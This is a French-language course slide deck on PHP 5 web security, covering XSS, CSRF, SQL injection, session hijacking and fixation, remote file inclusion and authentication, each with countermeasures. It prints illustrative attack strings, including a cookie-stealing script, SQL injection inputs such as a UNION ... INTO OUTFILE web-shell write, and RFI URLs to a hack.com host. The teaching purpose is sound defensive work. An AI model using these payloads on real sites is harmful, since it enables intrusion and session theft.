

Sécurité web et PHP 5

François Gannaz - SILECS

Plan

- 1 Principes théoriques et pratiques
 - Règles d'or de la sécurité
 - Bonnes pratiques
 - Gestion des erreurs
- 2 Les formulaires HTML
- 3 Bases de données
- 4 Sessions et cookies
- 5 Accès aux fichiers et inclusion de code PHP
- 6 Authentification et autorisation
- 7 Sécuriser l'environnement web

Quelques principes fondamentaux

- ▶ Evaluer le risque potentiel de l'application : diffusion, données sensibles. . .
- ▶ Ne jamais faire confiance au client : requêtes HTTP, Javascript. . .
- ▶ Ne pas dévoiler d'information pouvant aider une attaque : messages d'erreur restreints
- ▶ Filtrer les données en entrée, autant que possible par *white-list* plutôt que par *black-list*
- ▶ Tenir des logs dans l'application
- ▶ Sécurité redondante en profondeur
- ▶ Utiliser des méthodes reconnues plutôt que ses propres créations (en cryptographie surtout)

Bonnes pratiques

- ▶ **Suivi de versions**
SVN, Mercurial, git, bazaar. . .
- ▶ **Documentation de code**
PHPdocumentor, Doxygen
- ▶ **Style de programmation**
PEAR, Zend. . . (CodeSniffer pour vérifier)
- ▶ **Séparer logique et présentation**
D'abord le code, puis l'affichage (avec template)
Envisager les modèles type MVC.
- ▶ **Déclarer et initialiser ses variables**
Même si PHP n'a pas de mot-clé pour la déclaration.

Register Globals (PHP3)

À proscrire impérativement !

- ▶ code peu traçable (génération spontanée de variables)
`echo $a; // $_REQUEST['a']` ou variable du code ?
- ▶ toute variable non initialisée devient faille de sécurité
- ▶ confusion entre paramètres HTTP, sessions et cookies

Une relique des temps anciens

Désactivé par défaut depuis PHP 4.2 (avril 2002).
Supprimé en PHP 6.

`ini_get('register_globals')` pour connaître le statut.
Se désactive par `php.ini` ou Apache (global ou `.htaccess`) :

```
php_flag register_globals off
```

http://fr.php.net/manual/fr/security_globals.php

Gestion des erreurs

Affichage des erreurs

- ▶ Indispensable pour écrire son code
- ▶ Très utile pour sécuriser en cours de développement (variables non définies)
- ▶ Dangereux en production

Configuration

`error_reporting($level)` change le niveau de signalement.
Constantes utiles pour définir le niveau :

0 Aucun signalement

E_ALL Toutes les erreurs (E_ALL | E_NOTICE)

E_STRICT Ajout de PHP5 pour compléter E_ALL

Exemple : `error_reporting(E_ALL | E_STRICT);`

En PHP5 sont apparues les **exceptions**.

Développement et production

Le comportement doit être différent !

```
define('DEBUG', true);
// ...
if (DEBUG) {
    error_reporting(E_ALL | E_STRICT);
} else {
    error_reporting(E_ALL);
    ini_set('display_errors', 'Off');
    ini_set('log_errors', 'On');
    ini_set('error_log', '/myapp/error_log');
}
```

Compléments

- ▶ `display_errors` devrait être configuré dans `php.ini`
- ▶ Ajouter un bloc de débogage dans l'affichage HTML
- ▶ Installer `xdebug` sur les machines de développement

Plan

- 1 Principes théoriques et pratiques
- 2 Les formulaires HTML
 - entrées HTTP et formulaires
 - XSS et échappement HTML
 - Échappement
 - Validation des entrées
 - CSRF : Cross-Site Request Forgeries
 - Compléments
- 3 Bases de données
- 4 Sessions et cookies
- 5 Accès aux fichiers et inclusion de code PHP
- 6 Authentification et autorisation

Rappels HTTP (1)

Pour les pages ne modifiant pas de données, requête GET :

```
GET /my/read.php?id=13 HTTP/1.1
User-Agent: Opera/9.52 (X11; Linux x86_64; U; fr)
Host: example.com
Accept: text/html;q=0.9, application/xhtml+xml, */*;q=0.1
Accept-Language: fr-FR,fr;q=0.9,en;q=0.8,en-GB;q=0.7
Accept-Charset: iso-8859-1, utf-8, utf-16, */q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, */q=0
Referer: http://www.google.com/search?q=hello+world&num=25
Connection: Keep-Alive
```

Ces pages peuvent être mises en cache par le navigateur.

Rappels HTTP (2)

```
<form action="http://example.com/login.php" method="post">
  <fieldset>
    <legend>Authentification</legend>
    <label>Login : <input type="text" name="login" /></label>
    <label>Mot de passe : <input type="password" name="password" /></label>
    <button type="submit">Valider</button>
  </fieldset>
</form>
```

Le formulaire envoie au serveur :

```
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

login=moi&password=aussi
```

Provenance : *spoofing form submissions*

Comment savoir si la requête provient bien du formulaire prévu, sans modification ?

Impossible !

Une requête HTTP peut provenir :

- ▶ du formulaire *naturel*,
- ▶ d'une copie modifiée localement du formulaire,
- ▶ d'un script forgeant une requête sur mesure.

Le champ **Referer** de l'en-tête HTTP n'est pas fiable.

Cohérences des données (1) : côté client

Pour que les données du formulaire soient valides, on peut utiliser :

HTML `<input maxlength="5">` pour limiter le nombre de caractères saisis,
`<input readonly="readonly">` pour empêcher la modification,
`<select>` pour imposer un choix parmi une liste.

Javascript pour effectuer une validation fine côté client (expressions régulières, frameworks JS avec fonctions dédiées)

Aucun effet sur la sécurité !

Les limitations JS et HTML ont pour seul but d'aider l'utilisateur.

La validation se fait sur le serveur.

Cohérences des données (2) : champs constants

```
<form action="edit.php" method="post">
  <fieldset>
    <input type="hidden" name="id" value="<?php echo $id ?>" />
    <label>Edit : <input type="text" name="edit" /></label>
    <button type="submit">Valider</button>
  </fieldset>
</form>
```

Comment éviter qu'un champ fixe soit modifié ?
(par exemple, champ caché ou en lecture seule)

Une solution possible

Ajouter un *hash* sur ces données, transmis par un champ caché, et calculé selon une règle secrète.

Sommaire

- 1 Principes théoriques et pratiques
- 2 Les formulaires HTML
 - entrées HTTP et formulaires
 - XSS et échappement HTML
 - Échappement
 - Validation des entrées
 - CSRF : Cross-Site Request Forgeries
 - Compléments
- 3 Bases de données
- 4 Sessions et cookies
- 5 Accès aux fichiers et inclusion de code PHP
- 6 Authentification et autorisation
- 7 Sécuriser l'environnement web

XSS : définition

Cross Side Scripting

L'affichage de données utilisateur non filtrées permet l'injection de code arbitraire.

Les entrées utilisateur en PHP

- ▶ \$_GET : variables de l'URL
- ▶ \$_POST : données de formulaires
- ▶ \$_COOKIE : cookies du navigateur
- ▶ \$_REQUEST : mélange de GPC
- ▶ \$_FILES : fichiers *uploadés*
- ▶ \$_SERVER : entêtes HTTP, URL...
- ▶ \$_ENV : environnement
- ▶ entrées indirectes : DB, shell, web services...

XSS : variantes

Contenu XSS

- ▶ Statique : HTML
- ▶ Dynamique : javascript, Flash...

Types d'attaques

- ▶ **volatile**
Le XSS passe directement de la requête HTTP à l'affichage.
Ex : lien avec paramètres, iframe, HTTP post en JS...
- ▶ **persistente**
L'entrée est stockée brute puis affichée.
Ex : commentaires de blog...

Risques

Au premier abord, le risque semble peu critique, mais :

- ▶ Modification de la page
DOM peut tout modifier sur la page
`<script>getElementById('title').innerHTML='This site sucks';</script>`
Afficher un site externe avec une iframe
- ▶ Couper l'accès à la page
`<script>window.location='...';</script>`
- ▶ Attaque CSRF
``
- ▶ Vol de cookie (et donc de session)
`<script>window.location='...?cookie=' + document.cookie;</script>`

Les failles XSS sont très répandues.

Contre-mesures : échappement

Ne jamais afficher directement des données client !

Afficher les données filtrées : (*output escaping*)

Échappement différent suivant la destination :

- ▶ HTML (hors d'une balise)
- ▶ HTML dans une balise (valeur d'attribut)
- ▶ URL (attribut href/src)
- ▶ feuille de style CSS
- ▶ Javascript

Échappement HTML

Quelques fonctions utiles pour produire du HTML :

Au minimum Protéger les caractères sensibles

`htmlspecialchars($var);`

Au maximum Protéger tous les caractères

`htmlentities($var,...);`
`mb_htmlentities($var,...);`

Texte simple Enlever les balises HTML

`strip_tags($text);`

Dans un attribut HTML

Si valeur entre "", alors `htmlspecialchars` suffit.

Attention à l'encodage pour `htmlspecialchars` et `htmlentities()`.

Échappements voisins

URL

``

Solution :

- ▶ `urlencode($var); / rawurlencode($var);`
- ▶ URL en "http://..." (pas de "javascript:")

CSS

`<style>`
`h1 { color: <?php echo $_GET['color']; ?>; }`
`</style>`

Injections Mozilla ou IE : `expression(alert(/XSS/))`

Solution : Filtrer avec des expressions régulières sur mesure.

Chaînes Javascript

Solution : `addslashes($var);`

XSS : exemple avec \$_SERVER

**Ne jamais faire confiance aux données entrantes !
Never trust foreign data !**

PHP_SELF

Exemple : `<form action="<?php echo $_SERVER['PHP_SELF'] ?>"`
C'est la partie chemin de l'URL, entre l'hôte et le premier "?".

Or le client peut modifier l'URL après le nom du script PHP :
`http://example.com/self.php/"+onsubmit="alert(/XSS/)`

Contre mesures

```
htmlentities($_SERVER['PHP_SELF']); // excessif ?
htmlspecialchars($_SERVER['PHP_SELF']);
strip_tags($_SERVER['PHP_SELF']); // insuffisant
filter_input(INPUT_SERVER, 'PHP_SELF', FILTER_SANITIZE_STRING);
Si possible, se passer de cette variable !
```

output escaping : rich text

Comment autoriser l'utilisateur à taper un texte enrichi ?

- ▶ `strip_tags` (\$txt, "<a>") : peu sûr !
Pas de filtrage des attributs : ``
- ▶ Utiliser un format de type Wiki
- ▶ Utiliser un BBCode avec [b], [i], etc.
PEAR HTML_BBCodeParser convertit en xHTML facilement.
- ▶ Filtrer le HTML saisi (*whitelist*)
Une implémentation de référence : HTML Purifier
<http://htmlpurifier.org/>

Les éditeurs JS (TinyMCE, FCKeditor) renvoient du HTML qu'il faut filtrer avec **HTML Purifier**.

HTML Purifier : exemple

```
<?php
require_once("HTMLPurifier.auto.php");

$config = HTMLPurifier_Config::createDefault();
$config->set('URI', 'HostBlacklist', array('google.com'));
$config->set('HTML', 'AllowedElements', array('a','img','div'));
$config->set('HTML', 'AllowedAttributes',
    array('a.href','img.src','div.align','*.class'));

$purifier = new HTMLPurifier($config);
echo $purifier->purify($_POST["message"]);
```

Validation (1)

Utilisation des données postées

```
if (isset($_POST['param1'])) {
    affiche($_POST['param1']); // NON !
    maj_sql($_POST['param1']); // NON !
}
```

Dès la lecture des données

S'assurer que les données sont au format attendu.

Ne jamais utiliser directement les données client !

```
$clean = array('param1' => 0);
if (isset($_POST['param1'])) {
    // integer typecast
    $clean['param1'] = (int) $_POST['param1'];
}
```

Cf mode *tainted* : <http://wiki.php.net/rfc/taint>

Validation (2) (*input filtering*)

Comment valider des données en PHP ?

Quelques fonctions utiles :

```
listes empty($hash[$var]); in_array($var, $allowed);
regex preg_match($pattern, $subject);
ext/ctype ctype_digit($var);
fonctions is_* is_scalar($var);
typecast (int) $var;
```

Une extension dédiée : **ext/filter**

```
$clean['param1'] = filter_input(
    INPUT_POST,
    'param1',
    FILTER_VALIDATE_BOOLEAN);
```

Intégrée dans PHP 5.2, à installer avec `pecl` pour PHP < 5.2.

Sommaire

- 1 Principes théoriques et pratiques
- 2 Les formulaires HTML
 - entrées HTTP et formulaires
 - XSS et échappement HTML
 - Échappement
 - Validation des entrées
 - CSRF : Cross-Site Request Forgeries
 - Compléments
- 3 Bases de données
- 4 Sessions et cookies
- 5 Accès aux fichiers et inclusion de code PHP
- 6 Authentification et autorisation
- 7 Sécuriser l'environnement web

CSRF : définition

Certaines requêtes HTTP émanant d'un navigateur web se font à l'insu de l'utilisateur :

- ▶ images
- ▶ ressources CSS, JS extérieures
- ▶ AJAX
- ▶ ...

Ces requêtes valides peuvent être mal intentionnées :

Cross-Site Request Forgeries

Comment séparer les requêtes HTTP malicieuses des autres ?

CSRF : *Cross-Site Request Forgeries*

Si `http://example.com/vote.php?id=13` agit sur le site, alors cette URL peut être exploitée par CSRF.

En plaçant sur une page du site mal intentionné :

```

```

on fait voter discrètement tous les visiteurs.

Sessions

La session n'est pas une protection. Les utilisateurs peuvent avoir une session active sur un site et naviguer sur une autre page.

Dangerosité

- ▶ dépend des actions non protégées disponibles.
- ▶ en général, il faut que la victime ait une session en cours.

Fausse solutions

HTTP Referer

- ▶ Le navigateur ne fournit pas toujours l'information
- ▶ Le firewall peut la bloquer
- ▶ Flash permet de forger ce champ

POST au lieu de GET

- + Pas d'attaque possible par
- Javascript et Flash peuvent forger des requêtes POST

Dans l'esprit (rfc), l'utilisation de POST et GET différent.

Durée d'expiration (timestamp certifié par hash)

- + Diminue le risque, mais sans résoudre le problème.
- Gênant pour l'utilisateur.

Solutions

CAPTCHA

- + Pas d'attaque possible
- Peut gêner l'utilisateur
- Impossible pour l'AJAX

Coupler formulaire et session

- + Pas d'attaque possible

Pour chaque requête sensible, mettre en parallèle une valeur en POST et en session (cf `uniqid()`).

File upload

HTML d'un formulaire d'upload :

```
<form action="upload.php" method="POST"
  enctype="multipart/form-data"><p>
```

Fichier a déposer :

```
  <input type="hidden" name="MAX_FILE_SIZE" value="1024" />
  <input type="file" name="attachment" />
  <input type="submit" value="Déposer" />
</p></form>
```

En PHP, les informations sur le fichier reçu sont dans `$_FILES`.

Risque potentiel sur le fichier temporaire.

Solution

Utiliser :

```
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename)) ...
if (move_uploaded_file($filename, $newFilename)) ...
```

Bibliothèques PHP utiles pour les formulaires HTML et l'affichage

Templates PHP

Séparer affichage et code logique \implies échappement facilité

Une sélection parmi les très nombreuses bibliothèques :

Savant3 Très simple, représentatif des templates à base de PHP.

<http://phpsavant.com/>

Smarty Nouveau langage en sus de PHP, riche et complexe.

<http://www.smarty.net/>

PHPtal Au format XML pur. Il produit du XHTML.

<http://phptal.motion-twin.com/>

Remarques

- ▶ La plupart des frameworks PHP utilisent par défaut un template à base de PHP, type Savant3.
- ▶ Smarty est le plus ancien et standard. Il est pensé sur une séparation entre programmeurs et *designers*.
- ▶ PHPtal est un nouveau venu en PHP. Peu pratique à écrire.

Formulaires en PHP pur

Avantages :

- ▶ Normalisation de la syntaxe
- ▶ Intégration partielle Javascript (éléments liés, etc.)
- ▶ Affichage du formulaire prérempli, messages contextuels
- ▶ Validation partielle des données

Inconvénients :

- ▶ Le sur-mesure devient souvent difficile
- ▶ La séparation entre logique et affichage est parfois déficiente

Exemple

```
$form = new HTML_QuickForm('firstForm');
$form->addElement('header', null, 'example');
$form->addElement('text', 'name', 'Name:', array('size' => 50));
$form->addElement('submit', null, 'Send');
if ($form->validate()) {
    die('<h1>Hello, '. $form->exportValue('name') .'!</h1>');
} else { $form->display(); }
```

Formulaires en PHP pur (2)

Bibliothèques possibles

PEAR::HTML_QuickForm La solution classique

Nombreuses extensions et ressources, mais non maintenu

http://pear.php.net/package/HTML_QuickForm

UltimateForm Moins connu, aussi complet

<http://download.geog.cam.ac.uk/projects/ultimateform/>

ZendForm Peut être utilisé indépendamment du Zend Framework

Reprend l'essentiel de la syntaxe de QuickForm

Les frameworks PHP ont tous leur propre système : Zend, Symfony, CakePHP...

Divers

PHP-IDS Pour repérer les attaques sur son application.

<http://php-ids.org/>

Securimage CAPTCHA pour refuser les robots dans ses formulaires.

<http://www.phpcaptcha.org/>

Nikto Programme pour repérer des failles potentielles.

<http://cirt.net/nikto2>

Plan

- 1 Principes théoriques et pratiques
- 2 Les formulaires HTML
- 3 Bases de données
 - Accès et messages d'erreurs
 - Injection SQL
 - Contre-mesures
 - Outils
- 4 Sessions et cookies
- 5 Accès aux fichiers et inclusion de code PHP
- 6 Authentification et autorisation
- 7 Sécuriser l'environnement web

Sécuriser l'accès à la base de données

Utiliser un compte adapté

Pas de *root*, droits en écriture seulement si nécessaire.

Le fichier de configuration ne doit pas être accessible

Erreur classique : `config.inc` au lieu de `config.inc.php` Voir plus loin pour la sécurité des accès fichiers.

Attention aux messages d'erreur détaillés

En cas d'erreur de syntaxe ou de serveur indisponible, afficher `Internal error` au lieu de :

```
Warning : mysql_connect() [function.mysql-connect] :
Access denied for user 'lambda'@'localhost' (using
password : YES)
```

Éviter les messages d'erreurs

Les tentatives d'injection sont souvent aveugles :

1. Lister tous les paramètres possibles de la page
2. Pour chacun, y placer une apostrophe '
3. Comparer les résultats

Le but est de repérer une erreur MySQL
 ⇒ requête fragile et injection possible.

On peut aider les attaques avec :

```
mysql error : You have an error in your SQL syntax ;
check the manual that corresponds to your MySQL
server version for the right syntax to use near ''
and pass='xxx'' at line 1
```

Injection SQL : principe

Exemple de code dangereux :

```
$content = $_POST['content'];
$id = $_POST['id'];
mysqli->query("UPDATE comments "
              ".SET text='$content' WHERE id=$id");
```

Si `$id = "1 OR 1=1"`;
 tous les commentaires sont modifiés !

Si `$content = "X', approved='1"`;
 le commentaire est approuvé automatiquement.

La réussite de cette seconde attaque dépend de la configuration de PHP.

Magic Quotes

Protection rudimentaire contre l'injection SQL

si `magic_quotes_gpc` est activé, PHP applique `addslashes()` à la plupart des entrées.

Avantages :

- ▶ Sécurisation automatique des requêtes SQL

Inconvénients :

- ▶ La sécurité de `addslashes()` est imparfaite
- ▶ Seules certaines sources sont concernées par les *magic quotes*
- ▶ Les caractères `"\"` sont pénibles hors du SQL
- ▶ Cela ne protège en rien les attaques de type `WHERE id = $id`

Conclusion

Il est recommandé de **désactiver `magic_quotes_gpc`**.
En PHP6, cette directive a disparu.

Risques

Suivant le type d'injection SQL, les risques sont variés :

- ▶ Accès à des données interdites
- ▶ Modification de données
- ▶ *Denial of Service*
`BENCHMARK(100000000, MD5(RAND()))`
- ▶ Exécution de code PHP arbitraire
`SELECT ... INTO OUTFILE` si MySQL peut écrire dans l'espace Apache
`SELECT * FROM article WHERE id=2 UNION SELECT "< ?php phpinfo();",2,3,4 INTO OUTFILE "/var/www/info.php"`

Méthodes

- ▶ Les requêtes multiples (par défaut, non autorisées)
`SELECT ... ; UPDATE user SET password=''` ;
- ▶ Exécution de requêtes `SELECT` grâce à `UNION`.

Autres attaques

Les valeurs ne sont pas les seules cibles.
Toute partie de la requête peut servir à l'injection.

ORDER BY

```
SELECT * FROM user
ORDER BY (id=1 && conv(substring(password,1,1),16,2)&1)
```

Même problème avec :

- ▶ les noms de tables et colonnes,
- ▶ les limites,
- ▶ les éléments IN

```
"SELECT * FROM user
WHERE id IN (" . join(',', $list) .")"
```

Se protéger contre l'injection

Valider les données

Incomplet, mais la redondance est toujours un atout.

```
$content = filter_input(INPUT_POST, 'content',
                        FILTER_SANITIZE_SPECIAL_CHARS);
$id = (int) $_POST['id'];
```

Échappement spécifique à SQL

Chaque extension de SGBD a sa fonction de protection :

```
$content = mysql_real_escape_string($_POST['content']);
$content = $mysqli->real_escape_string($_POST['content']);
$content = $pdo->quote($_POST['content']);
$content = pg_escape_string($_POST['content']);
```

Résultat :

```
content=' $content' → avec échappement SQL
content='' OR '1'='1' → content='\ ' OR \'1\'=\'1\'
```

Échappement SQL : suite

Échappement nécessaire mais non suffisant !

```
$content = $mysqli->real_escape_string($_POST['content']);
$id = $mysqli->real_escape_string($_POST['id']);
$mysqli->query("UPDATE comments "
    . "SET text='$content' WHERE id=$id");
```

Si \$_POST['id'] vaut 1 OR 1=1 ?

Conclusion

Ne pas négliger la validation !

On peut aussi forcer des '.' sur les valeurs numériques :

"WHERE id = \$id" → "WHERE id = '\$id'"

Un *wrapper* peut être utile pour simplifier la syntaxe :

```
$db->queryf("UPDATE comments SET text=%s WHERE id=%d",
    $content, $id);
```

Un cas particulier : LIKE

Exemple de code fragile :

```
$debut = $mysqli->real_escape_string($_GET['debut']);
$mysqli->query("SELECT count(*) FROM definitions "
    . "WHERE vedette LIKE '{$debut}%");
```

Si \$_GET['debut'] = "%_e";

la requête sera très coûteuse !

Conclusion

Si le paramètre de LIKE est variable, il faut une protection spécifique sur les caractères "_" et "%".

Requêtes préparées

C'est une protection qui remplace l'échappement manuel.

```
$stmt = $mysqli->prepare("UPDATE comments "
    . "SET text = ? WHERE id = ?");
$stmt->bind_param('sd', $content, $id);
$content = $_POST['content'];
$id = $_POST['id'];
$stmt->execute();
```

Avantages :

- ▶ Protège efficacement les paramètres
- ▶ Accélère les requêtes répétitives

Inconvénients :

- ▶ Ralentit les requêtes uniques
- ▶ Impossible avec ext/mysql

En résumé, pour sécuriser le SQL

- ▶ Vérifier la configuration des *Magic Quotes*
- ▶ Toujours valider les entrées
 - En particulier les identifiants numériques.
- ▶ Deux possibilités pour sécuriser les requêtes
 - ▶ Échapper chaque paramètre avec la fonction dédiée
 - Un *wrapper* est conseillé pour simplifier la tâche.
 - ▶ Utiliser des requêtes préparées
 - Avec ext/mysql ou PDO.
- ▶ Les composants dynamiques de type ORDER BY, LIMIT, nom de table, etc. sont à valider séparément (*whitelist*).

Utiliser un *wrapper* sur ext/mysql ou une classe dérivée de ext/mysql ou PDO permet aussi de lister/chronométrer ses requêtes SQL.

Abstraction

Les problèmes

Moteurs Certains SGBD ne savent pas préparer les requêtes
Interfaces La syntaxe des fonctions varie entre les extensions

La solution : l'abstraction

- ▶ **PDO** : PHP Data Objects
PHP 5.1 ou extension PECL. Abstraction d'accès.
Couche bas niveau, peut émuler les requêtes préparées
- ▶ **AdoDB**
Utilisé dans de nombreux projets depuis 2000
Plus haut niveau que PDO, plus lent, mais abstraction SQL
- ▶ **Propel, Doctrine...**
ORM (Object-Relational Mapping)
Performances plus faibles, mais meilleure intégration dans les frameworks

Autres outils

sqlmap

<http://sqlmap.sourceforge.net/>

Attaque une application web à la recherche d'injections SQL.

Plan

- 1 Principes théoriques et pratiques
- 2 Les formulaires HTML
- 3 Bases de données
- 4 Sessions et cookies
 - Rappels
 - Stockage de sessions
 - Vol de session
 - Fixation de session
 - Session ID en GET/POST
- 5 Accès aux fichiers et inclusion de code PHP
- 6 Authentification et autorisation
- 7 Sécuriser l'environnement web

Rappels sur les sessions

Chaque session est identifiée par une chaîne appelée **session ID**.

Création standard d'une session

1. *Client* : requête HTTP
2. *Serveur* : réponse HTTP avec un champ **Set-Cookie**
Set-Cookie : PHPSESSID=047e...c7ac ; path=/
3. *Client* : stocke le cookie selon la convenance du navigateur
4. *Client* : requête HTTP avec un champ **Cookie**
Cookie : PHPSESSID=047e...c7ac ;
5. *Serveur* : PHP remplit \$_COOKIE et en déduit la session
Puis réponse HTTP

Remarque

Par défaut, si PHP ne trouve pas **PHPSESSID** dans le cookie, il le cherche en GET ou POST.

Pourquoi une session au lieu d'un cookie ?

Stockage serveur ou client ?

Avantages de la session

- ▶ Plus sûre, en particulier moins sensible aux XSS
- ▶ Plus fiable car moins dépendant du navigateur (bugs variés)

Avantages du cookie

- ▶ Moins gourmand en ressources pour le serveur

Se méfier des cookies

Le cookie d'un site est accessible par Javascript

⇒ **un cookie peut être lu/modifié en cas de faille XSS !**

Ne pas stocker d'informations sensibles dans les cookies.

Les données de la session sont hébergées sur le serveur, donc sûres.

Stockage de sessions

Supposons 2 applications sur un même serveur, l'une de test, l'autre en production.

Un utilisateur en test peut s'authentifier en prod :

1. L'attaquant utilise son compte sur Appli-Test
Il dispose d'un cookie et d'une session valide pour Appli-Test
2. Il va sur le site de Appli-Prod
`session_start()` crée un cookie de session pour Appli-Prod
3. Il copie son ID de session du cookie de Appli-Test dans le cookie de Appli-Prod
4. Le voilà authentifié dans Appli-Prod
La session valide pour Appli-Test l'est aussi pour Appli-Prod.

Solution

Stocker les fichiers de session dans des chemins différents.

```
ini_set('session.save_path', '/tmp/majolieapplication-test');
```

Durée d'une session

À priori, un seul paramètre :

```
ini_set('session.gc_maxlifetime', 60*15); // 15 minutes
```

Mais si 2 applications ont le même `session.save_path` (par défaut `/tmp`), alors la durée minimale s'impose.

⇒ **Toujours fixer un chemin de sessions distinct !**

Attention aux confusions

`session_cache_expire()` n'a aucun lien avec la durée de session.

Remarque : mode de stockage

On peut remplacer le stockage par défaut (fichiers) : SQL, mémoire...

```
session_set_save_handler(...)
```

Vol de sessions (*session hijacking*)

Principe

L'attaquant trouve le session ID d'autrui et usurpe la session.

Causes possibles du vol

- ▶ XSS et donc lecture du cookie par JS
- ▶ Champ HTTP Referer si le session ID est transmis par l'URL

Solutions

- ▶ Couper l'accès JS au cookie (si possible)
- ▶ Interdire les ID de session dans l'URL

Cf paramètres de configuration, plus loin.

Vol de sessions : autres mesures

Fausse solution

Vérifier la continuité de l'IP (peut être dynamique).

Demi-solution

Essayer de vérifier qu'on a toujours affaire au même navigateur.

```
$signature = md5($_SERVER['HTTP_USER_AGENT']
    . ' et ' . $_SERVER['HTTP_ACCEPT_CHARSET']);
if (!isset($_SESSION['signature'])) {
    $_SESSION['signature'] = $signature;
} elseif ($_SESSION['signature'] !== $signature) {
    die('Erreur de session');
}
```

Lors de la création de la session, on y stocke une signature du navigateur que l'on vérifie ensuite.

Le pirate peut facilement copier le profil du navigateur.

Session fixation

Principe

L'attaquant impose à la victime de se connecter sur le site avec un session ID fixé.

Comment ?

- ▶ En fixant le session ID en GET ou POST
- ▶ En intervenant sur le cookie par Javascript

Plus besoin de voler la clé, l'attaquant la connaît déjà !

Session fixation : contre mesures

Il suffit de supprimer tout nouveau *session ID* (potentiellement dangereux) pour en recréer un autre.

```
// Création de la session ?
if (!isset($_SESSION['alreadyseen'])) {
    // true : option PHP 5.1 pour effacer l'ancienne session
    // Si PHP 4 : utiliser en sus session_destroy()
    session_regenerate_id(true);
    $_SESSION['alreadyseen'] = true;
}
```

Lors de la création de la session, un nouveau SESSID est envoyé au client.

Remarque

Recréer un SESSID à chaque requête peut gêner l'utilisateur. Par exemple si plusieurs pages sont ouvertes simultanément.

Session ID dans l'URL

Très dangereux car facilite vol et fixation.

Connaître l'URL d'un utilisateur donne accès à sa session.

Principaux risques :

- ▶ L'en-tête HTTP **Referer** montre ce session ID.
- ▶ Détournement de session (*session fixation*) :
Sur le site malveillant se trouve un lien
`http://victime.com/?PHPSESSID=123321`
PHP peut conserver ce SESSID imposé.

Solution

Désactiver la recherche de SESSID dans l'URL :

```
ini_set('session.use_only_cookies', 1);
ini_set('session.use_trans_sid', 0);
```

À placer avant `session_start()`.

Autres paramètres de sécurisation

Nom de session

Pour éviter que les applications d'un même serveur interagissent.

```
session_name('nomAlphaNum'); // par défaut : 'PHPSESSID'
```

À placer avant `session_start()`.

Bloquer l'accès Javascript au cookie

Si le navigateur le permet, sinon aucun effet.

```
ini_set('session.cookie_httponly', true);
```

Pour les sites en SSL

Pour que le cookie ne soit pas disponible sur le port 80, mais seulement en HTTPS.

```
ini_set('session.cookie_secure', true);
```

Plan

- 1 Principes théoriques et pratiques
- 2 Les formulaires HTML
- 3 Bases de données
- 4 Sessions et cookies
- 5 Accès aux fichiers et inclusion de code PHP
 - Sources/données
 - RFI
 - FileSys
- 6 Authentification et autorisation
- 7 Sécuriser l'environnement web

Masquer les fichiers

Quelques règles simples :

- ▶ **Eviter les extensions .inc et similaires**
 Serveur web a par défaut un Content-Type: text/plain
 Solution Apache possible (Deny...)
 Préférer l'extension **.inc.php**
- ▶ **Ne pas autoriser la navigation dans son arborescence**
 Apache (Option -Indexes) si autorisé
 Ou créer "index.html" dans chaque répertoire
- ▶ **Stocker les fichiers de données hors du web**
 Hors du DocumentRoot, pas d'accès web direct.
- ▶ **Attention au portes dérobées**
 Le contrôle d'accès doit se faire sur chaque page!

```
if (is_authorized(VIEW_INTERNAL)) {
    require 'include/secret.php'; // Danger !
}
```

Inclusion de code distant (RFI)

Principe

```
include $_GET['path'];
```

Risques

- ▶ Accès à des fichiers locaux non publics

```
script.php?path=../../hidden.txt
```
- ▶ Injection de fichiers distants (RFI)

```
script.php?path=http%3A%2F%2Fexample.com%2Frfile.txt
```

Très dangereux !

Nombreuses variantes

Par exemple : `script.php?path=php://filter/resource=http://hack.com/a.txt`

Voir : <http://fr2.php.net/manual/fr/wrappers.php>

RFI : comment l'éviter ?

Mauvaises idées

- ▶ Ajouter un préfixe
Inefficace pour protéger les fichiers locaux
- ▶ Ajouter un suffixe ".php"
Aisément contourné :
`script.php?path=http://example.com/rfi.txt?`
- ▶ Utiliser `file_exists()` et consorts Ces fonctions acceptent les fichiers distants

Bonnes idées

- ▶ Directives `php.ini` comme `allow_url_include` (PHP 5.2)
Bien, mais insuffisant (cf `php://input, data://...`)
- ▶ Construire une *white-list*
Soit par un tableau fixe, soit par `glob()`

Accès au système de fichiers

Exécution

Eviter à tout prix les commandes du shell

Lecture / écriture

Toutes les fonctions d'accès aux fichiers souffrent des mêmes problèmes :

```
readfile($_GET['filename']);
```

Le risque est moins critique que pour `include`.

Les solutions sont identiques.

Attention :

Les directives de `php.ini` restreignent moins `fopen` et compagnie que `include`.

Plan

- 1 Principes théoriques et pratiques
- 2 Les formulaires HTML
- 3 Bases de données
- 4 Sessions et cookies
- 5 Accès aux fichiers et inclusion de code PHP
- 6 Authentification et autorisation
 - Principes
 - Authentification
- 7 Sécuriser l'environnement web

Principes : rôles et permissions

Eviter le binaire : `admin` ou `quidam`.

- ▶ Définition de **permissions** attribuables à des utilisateurs
- ▶ Lors de l'**authentification** (généralement par mot de passe), l'utilisateur est reconnu
- ▶ Avant chaque action, l'application web vérifie l'**autorisation** : les permissions de ce compte doivent correspondre à l'action
- ▶ Création de **rôles**, groupes de permissions, pour simplifier l'affectation aux utilisateurs

Exemple

Permissions `"log-view", "log-edit", "user-edit"`

Rôles `client=["log-view"]; tech=["log-view", "log-edit"]`

Affectation Pour `userid<10`, rôle `tech`; sinon, rôle `client`

Authentific° connexion LDAP \implies `userid=14`

Autorisation En page `"delete-log.php"`, vérifier que pour `userid=14` on a bien la permission `"log-edit"`

Sécurité des mots de passe

Ne pas stocker les mots de passe en clair.
Utiliser des méthodes reconnues, éviter la créativité cryptographique.

Saler les *hashes* :
`md5($password.$secret)` est plus fiable que `md5($password)`.

Login persistant

- ▶ Sécuriser la session (*fixation et hijacking*)
- ▶ Stocker un hash du mot de passe salé (sel non public)
- ▶ Vérifier la durée des sessions (surtout en environnement partagé)

Externaliser l'authentification (1)

Apache et mod_php

Pour demander un contrôle d'accès Apache :

```
header('HTTP/1.0 401 Unauthorized');
exit ();
```

S'il réussit, PHP fournit :

```
$_SERVER['PHP_AUTH_USER']
$_SERVER['PHP_AUTH_PW']
$_SERVER['HTTP_AUTHORIZATION']
```

L'application `htpasswd` permet de créer un fichier `.htpasswd`.

Avantages

- ▶ Simple à mettre en place

Inconvénients

- ▶ Le navigateur contrôle seul la présentation
- ▶ Sans SSL, login/password envoyés en clair à chaque requête

Externaliser l'authentification (2)

Nombreuses solutions externes

